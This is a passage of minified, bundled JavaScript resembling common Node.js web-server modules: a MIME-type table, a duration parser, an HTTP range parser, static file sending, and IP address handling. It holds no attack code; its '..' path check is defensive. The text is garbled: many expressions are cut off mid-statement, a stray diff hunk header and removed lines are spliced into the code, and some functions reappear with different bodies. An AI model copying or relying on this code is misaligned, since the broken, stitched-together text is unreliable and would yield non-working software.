per":["twd","twds"],"application/vnd.smaf":["mmf"],"application/vnd.smart.teacher":["teacher"],"application/vnd.solent.sdkm+xml":["sdkm","sdkd"],"application/vnd.spotfire.dxp":["dxp"],"application/vnd.spotfire.sfs":["sfs"],"application/vnd.stardivision.calc":["sdc"],"application/vnd.stardivision.draw":["sda"],"application/vnd.stardivision.impress":["sdd"],"application/vnd.stardivision.math":["smf"],"application/vnd.stardivision.writer":["sdw","vor"],"application/vnd.stardivision.writer-global":["sgl"],"application/vnd.stepmania.package":["smzip"],"application/vnd.stepmania.stepchart":["sm"],"application/vnd.sun.wadl+xml":["wadl"],"application/vnd.sun.xml.calc":["sxc"],"application/vnd.sun.xml.calc.template":["stc"],"application/vnd.sun.xml.draw":["sxd"],"application/vnd.sun.xml.draw.template":["std"],"application/vnd.sun.xml.impress":["sxi"],"application/vnd.sun.xml.impress.template":["sti"],"application/vnd.sun.xml.math":["sxm"],"application/vnd.sun.xml.writer":["sxw"],"application/vnd.sun.xml.writer.global":["sxg"],"application/vnd.sun.xml.writer.template":["stw"],"application/vnd.sus-calendar":["sus","susp"],"application/vnd.svd":["svd"],"application/vnd.symbian.install":["sis","sisx"],"application/vnd.syncml+xml":["xsm"],"application/vnd.syncml.dm+wbxml":["bdm"],"application/vnd.syncml.dm+xml":["xdm"],"application/vnd.tao.intent-module-archive":["tao"],"application/vnd.tcpdump.pcap":["pcap","cap","dmp"],"application/vnd.tmobile-livetv":["tmo"],"application/vnd.trid.tpt":["tpt"],"application/vnd.triscape.mxs":["mxs"],"application/vnd.trueapp":["tra"],"application/vnd.ufdl":["ufd","ufdl"],"application/vnd.uiq.theme":["utz"],"application/vnd.umajin":["umj"],"application/vnd.unity":["unityweb"],"application/vnd.uoml+xml":["uoml"],"application/vnd.vcx":["vcx"],"application/vnd.visio":["vsd","vst","vss","vsw"],"application/vnd.visionary":["vis"],"application/vnd.vsf":["vsf"],"application/vnd.wap.wbxml":["wbxml"],"application/vnd.wap.wmlc":["wmlc"],"application/vnd.wap.wmlscriptc":["wmlsc"],"application/vnd.webturbo":["wtb"],"application/vnd.wolfram.player":["nbp"],"application/vnd.wordperfect":["wpd"],"application/vnd.wqd":["wqd"],"application/vnd.wt.stf":["stf"],"application/vnd.xara":["xar"],"application/vnd.xfdl":["xfdl"],"application/vnd.yamaha.hv-dic":["hvd"],"application/vnd.yamaha.hv-script":["hvs"],"application/vnd.yamaha.hv-voice":["hvp"],"application/vnd.yamaha.openscoreformat":["osf"],"application/vnd.yamaha.openscoreformat.osfpvg+xml":["osfpvg"],"application/vnd.yamaha.smaf-audio":["saf"],"application/vnd.yamaha.smaf-phrase":["spf"],"application/vnd.yellowriver-custom-menu":["cmp"],"application/vnd.zul":["zir","zirz"],"application/vnd.zzazz.deck+xml":["zaz"],"application/voicexml+xml":["vxml"],"application/wasm":["wasm"],"application/widget":["wgt"],"application/winhlp":["hlp"],"application/wsdl+xml":["wsdl"],"application/wspolicy+xml":["wspolicy"],"application/x-7z-compressed":["7z"],"application/x-abiword":["abw"],"application/x-ace-compressed":["ace"],"application/x-apple-diskimage":[],"application/x-arj":["arj"],"application/x-authorware-bin":["aab","x32","u32","vox"],"application/x-authorware-map":["aam"],"application/x-authorware-seg":["aas"],"application/x-bcpio":["bcpio"],"application/x-bdoc":[],"application/x-bittorrent":["torrent"],"application/x-blorb":["blb","blorb"],"application/x-bzip":["bz"],"application/x-bzip2":["bz2","boz"],"application/x-cbr":["cbr","cba","cbt","cbz","cb7"],"application/x-cdlink":["vcd"],"application/x-cfs-compressed":["cfs"],"application/x-chat":["chat"],"application/x-chess-pgn":["pgn"],"application/x-chrome-extension":["crx"],"application/x-cocoa":["cco"],"application/x-conference":["nsc"],"application/x-cpio":["cpio"],"application/x-csh":["csh"],"application/x-debian-package":["udeb"],"application/x-dgc-compressed":["dgc"],"application/x-director":["dir","dcr","dxr","cst","cct","cxt","w3d","fgd","swa"],"application/x-doom":["wad"],"application/x-dtbncx+xml":["ncx"],"application/x-dtbook+xml":["dtb"],"application/x-dtbresource+xml":["res"],"application/x-dvi":["dvi"],"application/x-envoy":["evy"],"application/x-eva":["eva"],"application/x-font-bdf":["bdf"],"application/x-font-ghostscript":["gsf"],"application/x-font-linux-psf":["psf"],"application/x-font-pcf":["pcf"],"application/x-font-snf":["snf"],"application/x-font-type1":["pfa","pfb","pfm","afm"],"application/x-freearc":["arc"],"application/x-futuresplash":["spl"],"application/x-gca-compressed":["gca"],"application/x-glulx":["ulx"],"application/x-gnumeric":["gnumeric"],"application/x-gramps-xml":["gramps"],"application/x-gtar":["gtar"],"application/x-hdf":["hdf"],"application/x-httpd-php":["php"],"application/x-install-instructions":["install"],"application/x-iso9660-image":[],"application/x-java-archive-diff":["jardiff"],"application/x-java-jnlp-file":["jnlp"],"application/x-latex":["latex"],"application/x-lua-bytecode":["luac"],"application/x-lzh-compressed":["lzh","lha"],"application/x-makeself":["run"],"application/x-mie":["mie"],"application/x-mobipocket-ebook":["prc","mobi"],"application/x-ms-application":["application"],"application/x-ms-shortcut":["lnk"],"application/x-ms-wmd":["wmd"],"application/x-ms-wmz":["wmz"],"application/x-ms-xbap":["xbap"],"application/x-msaccess":["mdb"],"application/x-msbinder":["obd"],"application/x-mscardfile":["crd"],"application/x-msclip":["clp"],"application/x-msdos-program":[],"application/x-msdownload":["com","bat"],"application/x-msmediaview":["mvb","m13","m14"],"application/x-msmetafile":["wmf","emf","emz"],"application/x-msmoney":["mny"],"application/x-mspublisher":["pub"],"application/x-msschedule":["scd"],"application/x-msterminal":["trm"],"application/x-mswrite":["wri"],"application/x-netcdf":["nc","cdf"],"application/x-ns-proxy-autoconfig":["pac"],"application/x-nzb":["nzb"],"application/x-perl":["pl","pm"],"application/x-pilot":[],"application/x-pkcs12":["p12","pfx"],"application/x-pkcs7-certificates":["p7b","spc"],"application/x-pkcs7-certreqresp":["p7r"],"application/x-rar-compressed":["rar"],"application/x-redhat-package-manager":["rpm"],"application/x-research-info-systems":["ris"],"application/x-sea":["sea"],"application/x-sh":["sh"],"application/x-shar":["shar"],"application/x-shockwave-flash":["swf"],"application/x-silverlight-app":["xap"],"application/x-sql":["sql"],"application/x-stuffit":["sit"],"application/x-stuffitx":["sitx"],"application/x-subrip":["srt"],"application/x-sv4cpio":["sv4cpio"],"application/x-sv4crc":["sv4crc"],"application/x-t3vm-image":["t3"],"application/x-tads":["gam"],"application/x-tar":["tar"],"application/x-tcl":["tcl","tk"],"application/x-tex":["tex"],"application/x-tex-tfm":["tfm"],"application/x-texinfo":["texinfo","texi"],"application/x-tgif":["obj"],"application/x-ustar":["ustar"],"application/x-virtualbox-hdd":["hdd"],"application/x-virtualbox-ova":["ova"],"application/x-virtualbox-ovf":["ovf"],"application/x-virtualbox-vbox":["vbox"],"application/x-virtualbox-vbox-extpack":["vbox-extpack"],"application/x-virtualbox-vdi":["vdi"],"application/x-virtualbox-vhd":["vhd"],"application/x-virtualbox-vmdk":["vmdk"],"application/x-wais-source":["src"],"application/x-web-app-manifest+json":["webapp"],"application/x-x509-ca-cert":["der","crt","pem"],"application/x-xfig":["fig"],"application/x-xliff+xml":["xlf"],"application/x-xpinstall":["xpi"],"application/x-xz":["xz"],"application/x-zmachine":["z1","z2","z3","z4","z5","z6","z7","z8"],"application/xaml+xml":["xaml"],"application/xcap-diff+xml":["xdf"],"application/xenc+xml":["xenc"],"application/xhtml+xml":["xhtml","xht"],"application/xml":["xml","xsl","xsd","rng"],"application/xml-dtd":["dtd"],"application/xop+xml":["xop"],"application/xproc+xml":["xpl"],"application/xslt+xml":["xslt"],"application/xspf+xml":["xspf"],"application/xv+xml":["mxml","xhvml","xvml","xvm"],"application/yang":["yang"],"application/yin+xml":["yin"],"application/zip":["zip"],"audio/3gpp":[],"audio/adpcm":["adp"],"audio/basic":["au","snd"],"audio/midi":["mid","midi","kar","rmi"],"audio/mp3":[],"audio/mp4":["m4a","mp4a"],"audio/mpeg":["mpga","mp2","mp2a","mp3","m2a","m3a"],"audio/ogg":["oga","ogg","spx"],"audio/s3m":["s3m"],"audio/silk":["sil"],"audio/vnd.dece.audio":["uva","uvva"],"audio/vnd.digital-winds":["eol"],"audio/vnd.dra":["dra"],"audio/vnd.dts":["dts"],"audio/vnd.dts.hd":["dtshd"],"audio/vnd.lucent.voice":["lvp"],"audio/vnd.ms-playready.media.pya":["pya"],"audio/vnd.nuera.ecelp4800":["ecelp4800"],"audio/vnd.nuera.ecelp7470":["ecelp7470"],"audio/vnd.nuera.ecelp9600":["ecelp9600"],"audio/vnd.rip":["rip"],"audio/wav":["wav"],"audio/wave":[],"audio/webm":["weba"],"audio/x-aac":["aac"],"audio/x-aiff":["aif","aiff","aifc"],"audio/x-caf":["caf"],"audio/x-flac":["flac"],"audio/x-m4a":[],"audio/x-matroska":["mka"],"audio/x-mpegurl":["m3u"],"audio/x-ms-wax":["wax"],"audio/x-ms-wma":["wma"],"audio/x-pn-realaudio":["ram","ra"],"audio/x-pn-realaudio-plugin":["rmp"],"audio/x-realaudio":[],"audio/x-wav":[],"audio/xm":["xm"],"chemical/x-cdx":["cdx"],"chemical/x-cif":["cif"],"chemical/x-cmdf":["cmdf"],"chemical/x-cml":["cml"],"chemical/x-csml":["csml"],"chemical/x-xyz":["xyz"],"font/collection":["ttc"],"font/otf":["otf"],"font/ttf":["ttf"],"font/woff":["woff"],"font/woff2":["woff2"],"image/apng":["apng"],"image/bmp":["bmp"],"image/cgm":["cgm"],"image/g3fax":["g3"],"image/gif":["gif"],"image/ief":["ief"],"image/jp2":["jp2","jpg2"],"image/jpeg":["jpeg","jpg","jpe"],"image/jpm":["jpm"],"image/jpx":["jpx","jpf"],"image/ktx":["ktx"],"image/png":["png"],"image/prs.btif":["btif"],"image/sgi":["sgi"],"image/svg+xml":["svg","svgz"],"image/tiff":["tiff","tif"],"image/vnd.adobe.photoshop":["psd"],"image/vnd.dece.graphic":["uvi","uvvi","uvg","uvvg"],"image/vnd.djvu":["djvu","djv"],"image/vnd.dvb.subtitle":[],"image/vnd.dwg":["dwg"],"image/vnd.dxf":["dxf"],"image/vnd.fastbidsheet":["fbs"],"image/vnd.fpx":["fpx"],"image/vnd.fst":["fst"],"image/vnd.fujixerox.edmics-mmr":["mmr"],"image/vnd.fujixerox.edmics-rlc":["rlc"],"image/vnd.ms-modi":["mdi"],"image/vnd.ms-photo":["wdp"],"image/vnd.net-fpx":["npx"],"image/vnd.wap.wbmp":["wbmp"],"image/vnd.xiff":["xif"],"image/webp":["webp"],"image/x-3ds":["3ds"],"image/x-cmu-raster":["ras"],"image/x-cmx":["cmx"],"image/x-freehand":["fh","fhc","fh4","fh5","fh7"],"image/x-icon":["ico"],"image/x-jng":["jng"],"image/x-mrsid-image":["sid"],"image/x-ms-bmp":[],"image/x-pcx":["pcx"],"image/x-pict":["pic","pct"],"image/x-portable-anymap":["pnm"],"image/x-portable-bitmap":["pbm"],"image/x-portable-graymap":["pgm"],"image/x-portable-pixmap":["ppm"],"image/x-rgb":["rgb"],"image/x-tga":["tga"],"image/x-xbitmap":["xbm"],"image/x-xpixmap":["xpm"],"image/x-xwindowdump":["xwd"],"message/rfc822":["eml","mime"],"model/gltf+json":["gltf"],"model/gltf-binary":["glb"],"model/iges":["igs","iges"],"model/mesh":["msh","mesh","silo"],"model/vnd.collada+xml":["dae"],"model/vnd.dwf":["dwf"],"model/vnd.gdl":["gdl"],"model/vnd.gtw":["gtw"],"model/vnd.mts":["mts"],"model/vnd.vtu":["vtu"],"model/vrml":["wrl","vrml"],"model/x3d+binary":["x3db","x3dbz"],"model/x3d+vrml":["x3dv","x3dvz"],"model/x3d+xml":["x3d","x3dz"],"text/cache-manifest":["appcache","manifest"],"text/calendar":["ics","ifb"],"text/coffeescript":["coffee","litcoffee"],"text/css":["css"],"text/csv":["csv"],"text/hjson":["hjson"],"text/html":["html","htm","shtml"],"text/jade":["jade"],"text/jsx":["jsx"],"text/less":["less"],"text/markdown":["markdown","md"],"text/mathml":["mml"],"text/n3":["n3"],"text/plain":["txt","text","conf","def","list","log","in","ini"],"text/prs.lines.tag":["dsc"],"text/richtext":["rtx"],"text/rtf":[],"text/sgml":["sgml","sgm"],"text/slim":["slim","slm"],"text/stylus":["stylus","styl"],"text/tab-separated-values":["tsv"],"text/troff":["t","tr","roff","man","me","ms"],"text/turtle":["ttl"],"text/uri-list":["uri","uris","urls"],"text/vcard":["vcard"],"text/vnd.curl":["curl"],"text/vnd.curl.dcurl":["dcurl"],"text/vnd.curl.mcurl":["mcurl"],"text/vnd.curl.scurl":["scurl"],"text/vnd.dvb.subtitle":["sub"],"text/vnd.fly":["fly"],"text/vnd.fmi.flexstor":["flx"],"text/vnd.graphviz":["gv"],"text/vnd.in3d.3dml":["3dml"],"text/vnd.in3d.spot":["spot"],"text/vnd.sun.j2me.app-descriptor":["jad"],"text/vnd.wap.wml":["wml"],"text/vnd.wap.wmlscript":["wmls"],"text/vtt":["vtt"],"text/x-asm":["s","asm"],"text/x-c":["c","cc","cxx","cpp","h","hh","dic"],"text/x-component":["htc"],"text/x-fortran":["f","for","f77","f90"],"text/x-handlebars-template":["hbs"],"text/x-java-source":["java"],"text/x-lua":["lua"],"text/x-markdown":["mkd"],"text/x-nfo":["nfo"],"text/x-opml":["opml"],"text/x-org":[],"text/x-pascal":["p","pas"],"text/x-processing":["pde"],"text/x-sass":["sass"],"text/x-scss":["scss"],"text/x-setext":["etx"],"text/x-sfv":["sfv"],"text/x-suse-ymp":["ymp"],"text/x-uuencode":["uu"],"text/x-vcalendar":["vcs"],"text/x-vcard":["vcf"],"text/xml":[],"text/yaml":["yaml","yml"],"video/3gpp":["3gp","3gpp"],"video/3gpp2":["3g2"],"video/h261":["h261"],"video/h263":["h263"],"video/h264":["h264"],"video/jpeg":["jpgv"],"video/jpm":["jpgm"],"video/mj2":["mj2","mjp2"],"video/mp2t":["ts"],"video/mp4":["mp4","mp4v","mpg4"],"video/mpeg":["mpeg","mpg","mpe","m1v","m2v"],"video/ogg":["ogv"],"video/quicktime":["qt","mov"],"video/vnd.dece.hd":["uvh","uvvh"],"video/vnd.dece.mobile":["uvm","uvvm"],"video/vnd.dece.pd":["uvp","uvvp"],"video/vnd.dece.sd":["uvs","uvvs"],"video/vnd.dece.video":["uvv","uvvv"],"video/vnd.dvb.file":["dvb"],"video/vnd.fvt":["fvt"],"video/vnd.mpegurl":["mxu","m4u"],"video/vnd.ms-playready.media.pyv":["pyv"],"video/vnd.uvvu.mp4":["uvu","uvvu"],"video/vnd.vivo":["viv"],"video/webm":["webm"],"video/x-f4v":["f4v"],"video/x-fli":["fli"],"video/x-flv":["flv"],"video/x-m4v":["m4v"],"video/x-matroska":["mkv","mk3d","mks"],"video/x-mng":["mng"],"video/x-ms-asf":["asf","asx"],"video/x-ms-vob":["vob"],"video/x-ms-wm":["wm"],"video/x-ms-wmv":["wmv"],"video/x-ms-wmx":["wmx"],"video/x-ms-wvx":["wvx"],"video/x-msvideo":["avi"],"video/x-sgi-movie":["movie"],"video/x-smv":["smv"],"x-conference/x-cooltalk":["ice"]}});var Fb=V((tG,Lb)=>{var eG=require("path"),XN=require("fs");function bs(){this.types=Object.create(null),this.extensions=Object.create(null)}bs.prototype.define=function(t){for(var e in t){for(var r=t[e],n=0;n{var xs=1e3,ws=xs*60,Ss=ws*60,dn=Ss*24,JN=dn*7,YN=dn*365.25;zb.exports=function(t,e){e=e||{};var r=typeof t;if(r==="string"&&t.length>0)return QN(t);if(r==="number"&&isFinite(t))return e.long?tj(t):ej(t);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(t))};function QN(t){if(t=String(t),!(t.length>100)){var e=/^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(t);if(e){var r=parseFloat(e[1]),n=(e[2]||"ms").toLowerCase();switch(n){case"years":case"year":case"yrs":case"yr":case"y":return r*YN;case"weeks":case"week":case"w":return r*JN;case"days":case"day":case"d":return r*dn;case"hours":case"hour":case"hrs":case"hr":case"h":return r*Ss;case"minutes":case"minute":case"mins":case"min":case"m":return r*ws;case"seconds":case"second":case"secs":case"sec":case"s":return r*xs;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return r;default:return}}}}function ej(t){var e=Math.abs(t);return e>=dn?Math.round(t/dn)+"d":e>=Ss?Math.round(t/Ss)+"h":e>=ws?Math.round(t/ws)+"m":e>=xs?Math.round(t/xs)+"s":t+"ms"}function tj(t){var e=Math.abs(t);return e>=dn?Mc(t,e,dn,"day"):e>=Ss?Mc(t,e,Ss,"hour"):e>=ws?Mc(t,e,ws,"minute"):e>=xs?Mc(t,e,xs,"second"):t+" ms"}function Mc(t,e,r,n){var a=e>=r*1.5;return Math.round(t/r)+" "+n+(a?"s":"")}});var Tp=V((aG,Hb)=>{"use strict";Hb.exports=rj;function rj(t,e,r){if(typeof e!="string")throw new TypeError("argument str must be a string");var n=e.indexOf("=");if(n===-1)return-2;var a=e.slice(n+1).split(","),s=[];s.type=e.slice(0,n);for(var i=0;it-1&&(u=t-1),!(isNaN(c)||isNaN(u)||c>u||c<0)&&s.push({start:c,end:u})}return s.length<1?-1:r&&r.combine?aj(s):s}function aj(t){for(var e=t.map(nj).sort(oj),r=0,n=1;ns.end+1?e[++r]=a:a.end>s.end&&(s.end=a.end,s.index=Math.min(s.index,a.index))}e.length=r+1;var i=e.sort(ij).map(sj);return i.type=t.type,i}function nj(t,e){return{start:t.start,end:t.end,index:e}}function sj(t){return{start:t.start,end:t.end}}function ij(t,e){return t.index-e.index}function oj(t,e){return t.start-e.start}});var Fc=V((nG,Cp)=>{"use strict";var kp=Ya(),_t=vr()("send"),pn=Vr()("send"),cj=sd(),uj=Ib(),Zb=Vi(),lj=Sp(),dj=Ep(),qc=require("fs"),Rp=Fb(),Gb=Ub(),pj=Oi(),fj=Tp(),Ki=require("path"),mj=xi(),Wb=require("stream"),hj=require("util"),vj=Ki.extname,Kb=Ki.join,$p=Ki.normalize,Op=Ki.resolve,Dc=Ki.sep,gj=/^ *bytes=/,Xb=3600*24*365*1e3,Bb=/(?:^|[\\/])\.\.(?:[\\/]|$)/;Cp.exports=yj;Cp.exports.mime=Rp;function yj(t,e,r){return new tt(t,e,r)}function tt(t,e,r){Wb.call(this);var n=r||{};if(this.options=n,this.path=e,this.req=t,this._acceptRanges=n.acceptRanges!==void 0?!!n.acceptRanges:!0,this._cacheControl=n.cacheControl!==void 0?!!n.cacheControl:!0,this._etag=n.etag!==void 0?!!n.etag:!0,this._dotfiles=n.dotfiles!==void 0?n.dotfiles:"ignore",this._dotfiles!=="ignore"&&this._dotfiles!=="allow"&&this._dotfiles!=="deny")throw new TypeError('dotfiles option must be "allow", "deny", or "ignore"');this._hidden=!!n.hidden,n.hidden!==void 0&&pn("hidden: use dotfiles: '"+(this._hidden?"allow":"ignore")+"' instead"),n.dotfiles===void 0&&(this._dotfiles=void 0),this._extensions=n.extensions!==void 0?Pp(n.extensions,"extensions option"):[],this._immutable=n.immutable!==void 0?!!n.immutable:!1,this._index=n.index!==void 0?Pp(n.index,"index option"):["index.html"],this._lastModified=n.lastModified!==void 0?!!n.lastModified:!0,this._maxage=n.maxAge||n.maxage,this._maxage=typeof this._maxage=="string"?Gb(this._maxage):Number(this._maxage),this._maxage=isNaN(this._maxage)?0:Math.min(Math.max(0,this._maxage),Xb),this._root=n.root?Op(n.root):null,!this._root&&n.from&&this.from(n.from)}hj.inherits(tt,Wb);tt.prototype.etag=pn.function(function(e){return this._etag=!!e,_t("etag %s",this._etag),this},"send.etag: pass etag as option");tt.prototype.hidden=pn.function(function(e){return this._hidden=!!e,this._dotfiles=void 0,_t("hidden %s",this._hidden),this},"send.hidden: use dotfiles option");tt.prototype.index=pn.function(function(e){var r=e?Pp(e,"paths argument"):[];return _t("index %o",e),this._index=r,this},"send.index: pass index as option");tt.prototype.root=function(e){return this._root=Op(String(e)),_t("root %s",this._root),this};tt.prototype.from=pn.function(tt.prototype.root,"send.from: pass root as option");tt.prototype.root=pn.function(tt.prototype.root,"send.root: pass root as option");tt.prototype.maxage=pn.function(function(e){return this._maxage=typeof e=="string"?Gb(e):Number(e),this._maxage=isNaN(this._maxage)?0:Math.min(Math.max(0,this._maxage),Xb),_t("max-age %d",this._maxage),this},"send.maxage: pass maxAge as option");tt.prototype.error=function(e,r){if(Yb(this,"error"))return this.emit("error",wj(e,r));var n=this.res,a=mj.message[e]||String(e),s=Jb("Error",Zb(a));_j(n),r&&r.headers&&$j(n,r.headers),n.statusCode=e,n.setHeader("Content-Type","text/html; charset=UTF-8"),n.setHeader("Content-Length",Buffer.byteLength(s)),n.setHeader("Content-Security-Policy","default-src 'none'"),n.setHeader("X-Content-Type-Options","nosniff"),n.end(s)};tt.prototype.hasTrailingSlash=function(){return this.path[this.path.length-1]==="/"};tt.prototype.isConditionalGET=function(){return this.req.headers["if-match"]||this.req.headers["if-unmodified-since"]||this.req.headers["if-none-match"]||this.req.headers["if-modified-since"]};tt.prototype.isPreconditionFailure=function(){var e=this.req,r=this.res,n=e.headers["if-match"];if(n){var a=r.getHeader("ETag");return!a||n!=="*"&&kj(n).every(function(o){return o!==a&&o!=="W/"+a&&"W/"+o!==a})}var s=Lc(e.headers["if-unmodified-since"]);if(!isNaN(s)){var i=Lc(r.getHeader("Last-Modified"));return isNaN(i)||i>s}return!1};tt.prototype.removeContentHeaderFields=function(){var e=this.res;e.removeHeader("Content-Encoding"),e.removeHeader("Content-Language"),e.removeHeader("Content-Length"),e.removeHeader("Content-Range"),e.removeHeader("Content-Type")};tt.prototype.notModified=function(){var e=this.res;_t("not modified"),this.removeContentHeaderFields(),e.statusCode=304,e.end()};tt.prototype.headersAlreadySent=function(){var e=new Error("Can't set headers after they are sent.");_t("headers already sent"),this.error(500,e)};tt.prototype.isCachable=function(){var e=this.res.statusCode;return e>=200&&e<300||e===304};tt.prototype.onStatError=function(e){switch(e.code){case"ENAMETOOLONG":case"ENOENT":case"ENOTDIR":this.error(404,e);break;default:this.error(500,e);break}};tt.prototype.isFresh=function(){return dj(this.req.headers,{etag:this.res.getHeader("ETag"),"last-modified":this.res.getHeader("Last-Modified")})};tt.prototype.isRangeFresh=function(){var e=this.req.headers["if-range"];if(!e)return!0;if(e.indexOf('"')!==-1){var r=this.res.getHeader("ETag");return!!(r&&e.indexOf(r)!==-1)}var n=this.res.getHeader("Last-Modified");return Lc(n)<=Lc(e)};tt.prototype.redirect=function(e){var r=this.res;if(Yb(this,"directory")){this.emit("directory",r,e);return}if(this.hasTrailingSlash()){this.error(403);return}var n=uj(bj(this.path+"/")),a=Jb("Redirecting","Redirecting to "+Zb(n));r.statusCode=301,r.setHeader("Content-Type","text/html; charset=UTF-8"),r.setHeader("Content-Length",Buffer.byteLength(a)),r.setHeader("Content-Security-Policy","default-src 'none'"),r.setHeader("X-Content-Type-Options","nosniff"),r.setHeader("Location",n),r.end(a)};tt.prototype.pipe=function(e){var r=this._root;this.res=e;var n=Sj(this.path);if(n===-1)return this.error(400),e;if(~n.indexOf("\0"))return this.error(400),e;var a;if(r!==null){if(n&&(n=$p("."+Dc+n)),Bb.test(n))return _t('malicious path "%s"',n),this.error(403),e;a=n.split(Dc),n=$p(Kb(r,n))}else{if(Bb.test(n))return _t('malicious path "%s"',n),this.error(403),e;a=$p(n).split(Dc),n=Op(n)}if(xj(a)){var s=this._dotfiles;switch(s===void 0&&(s=a[a.length-1][0]==="."?this._hidden?"allow":"ignore":"allow"),_t('%s dotfile "%s"',s,n),s){case"allow":break;case"deny":return this.error(403),e;case"ignore":default:return this.error(404),e}}return this._index.length&&this.hasTrailingSlash()?(this.sendIndex(n),e):(this.sendFile(n),e)};tt.prototype.send=function(e,r){var n=r.size,a=this.options,s={},i=this.res,o=this.req,c=o.headers.range,u=a.start||0;if(Tj(i)){this.headersAlreadySent();return}if(_t('pipe "%s"',e),this.setHeader(e,r),this.type(e),this.isConditionalGET()){if(this.isPreconditionFailure()){this.error(412);return}if(this.isCachable()&&this.isFresh()){this.notModified();return}}if(n=Math.max(0,n-u),a.end!==void 0){var l=a.end-u+1;n>l&&(n=l)}if(this._acceptRanges&&gj.test(c)){if(c=fj(n,c,{combine:!0}),this.isRangeFresh()||(_t("range stale"),c=-2),c===-1)return _t("range unsatisfiable"),i.setHeader("Content-Range",Vb("bytes",n)),this.error(416,{headers:{"Content-Range":i.getHeader("Content-Range")}});c!==-2&&c.length===1&&(_t("range %j",c),i.statusCode=206,i.setHeader("Content-Range",Vb("bytes",n,c[0])),u+=c[0].start,n=c[0].end-c[0].start+1)}for(var d in a)s[d]=a[d];if(s.start=u,s.end=Math.max(u,u+n-1),i.setHeader("Content-Length",n),o.method==="HEAD"){i.end();return}this.stream(e,s)};tt.prototype.sendFile=function(e){var r=0,n=this;_t('stat "%s"',e),qc.stat(e,function(i,o){if(i&&i.code==="ENOENT"&&!vj(e)&&e[e.length-1]!==Dc)return a(i);if(i)return n.onStatError(i);if(o.isDirectory())return n.redirect(e);n.emit("file",e,o),n.send(e,o)});function a(s){if(n._extensions.length<=r)return s?n.onStatError(s):n.error(404);var i=e+"."+n._extensions[r++];_t('stat "%s"',i),qc.stat(i,function(o,c){if(o)return a(o);if(c.isDirectory())return a();n.emit("file",i,c),n.send(i,c)})}};tt.prototype.sendIndex=function(e){var r=-1,n=this;function a(s){if(++r>=n._index.length)return s?n.onStatError(s):n.error(404);var i=Kb(e,n._index[r]);_t('stat "%s"',i),qc.stat(i,function(o,c){if(o)return a(o);if(c.isDirectory())return a();n.emit("file",i,c),n.send(i,c)})}a()};tt.prototype.stream=function(e,r){var n=this,a=this.res,s=qc.createReadStream(e,r);this.emit("stream",s),s.pipe(a);function i(){cj(s,!0)}pj(a,i),s.on("error",function(c){i(),n.onStatError(c)}),s.on("end",function(){n.emit("end")})};tt.prototype.type=function(e){var r=this.res;if(!r.getHeader("Content-Type")){var n=Rp.lookup(e);if(!n){_t("no content-type");return}var a=Rp.charsets.lookup(n);_t("content-type %s",n),r.setHeader("Content-Type",n+(a?"; charset="+a:""))}};tt.prototype.setHeader=function(e,r){var n=this.res;if(this.emit("headers",n,e,r),this._acceptRanges&&!n.getHeader("Accept-Ranges")&&(_t("accept ranges"),n.setHeader("Accept-Ranges","bytes")),this._cacheControl&&!n.getHeader("Cache-Control")){var a="public, max-age="+Math.floor(this._maxage/1e3);this._immutable&&(a+=", immutable"),_t("cache-control %s",a),n.setHeader("Cache-Control",a)}if(this._lastModified&&!n.getHeader("Last-Modified")){var s=r.mtime.toUTCString();_t("modified %s",s),n.setHeader("Last-Modified",s)}if(this._etag&&!n.getHeader("ETag")){var i=lj(r);_t("etag %s",i),n.setHeader("ETag",i)}};function _j(t){for(var e=Ej(t),r=0;r1?"/"+t.substr(e):t}function xj(t){for(var e=0;e1&&r[0]===".")return!0}return!1}function Vb(t,e,r){return t+" "+(r?r.start+"-"+r.end:"*")+"/"+e}function Jb(t,e){return` @@ -38,8 +38,8 @@ return fn.apply(this, arguments)
`+e+`
-`}function dj(t,e){return e?e instanceof Error?Ep(t,e,{expose:!1}):Ep(t,e):Ep(t)}function pj(t){try{return decodeURIComponent(t)}catch{return-1}}function fj(t){return typeof t.getHeaderNames!="function"?Object.keys(t._headers||{}):t.getHeaderNames()}function Jb(t,e){var r=typeof t.listenerCount!="function"?t.listeners(e).length:t.listenerCount(e);return r>0}function mj(t){return typeof t.headersSent!="boolean"?!!t._header:t.headersSent}function Rp(t,e){for(var r=[].concat(t||[]),n=0;n{"use strict";Yb.exports=gj;function gj(t){if(!t)throw new TypeError("argument req is required");var e=_j(t.headers["x-forwarded-for"]||""),r=yj(t),n=[r].concat(e);return n}function yj(t){return t.socket?t.socket.remoteAddress:t.connection.remoteAddress}function _j(t){for(var e=t.length,r=[],n=t.length,a=t.length-1;a>=0;a--)switch(t.charCodeAt(a)){case 32:n===e&&(n=e=a);break;case 44:n!==e&&r.push(t.substring(n,e)),n=e=a;break;default:n=a;break}return n!==e&&r.push(t.substring(n,e)),r}});var t0=V((e0,Gi)=>{(function(){var t,e,r,n,a,s,i,o,c;e={},o=this,typeof Gi<"u"&&Gi!==null&&Gi.exports?Gi.exports=e:o.ipaddr=e,i=function(u,l,d,f){var m,g;if(u.length!==l.length)throw new Error("ipaddr: cannot match CIDR for objects with different lengths");for(m=0;f>0;){if(g=d-f,g<0&&(g=0),u[m]>>g!==l[m]>>g)return!1;f-=d,m+=1}return!0},e.subnetMatch=function(u,l,d){var f,m,g,b,p;d==null&&(d="unicast");for(g in l)for(b=l[g],b[0]&&!(b[0]instanceof Array)&&(b=[b]),f=0,m=b.length;f=0;d=f+=-1)if(m=this.octets[d],m in p){if(b=p[m],g&&b!==0)return null;b!==8&&(g=!0),l+=b}else return null;return 32-l},u})(),r="(0?\\d+|0x[a-f0-9]+)",n={fourOctet:new RegExp("^"+r+"\\."+r+"\\."+r+"\\."+r+"$","i"),longValue:new RegExp("^"+r+"$","i")},e.IPv4.parser=function(u){var l,d,f,m,g;if(d=function(b){return b[0]==="0"&&b[1]!=="x"?parseInt(b,8):parseInt(b)},l=u.match(n.fourOctet))return(function(){var b,p,h,y;for(h=l.slice(1,6),y=[],b=0,p=h.length;b4294967295||g<0)throw new Error("ipaddr: address outside defined range");return(function(){var b,p;for(p=[],m=b=0;b<=24;m=b+=8)p.push(g>>m&255);return p})().reverse()}else return null},e.IPv6=(function(){function u(l,d){var f,m,g,b,p,h;if(l.length===16)for(this.parts=[],f=m=0;m<=14;f=m+=2)this.parts.push(l[f]<<8|l[f+1]);else if(l.length===8)this.parts=l;else throw new Error("ipaddr: 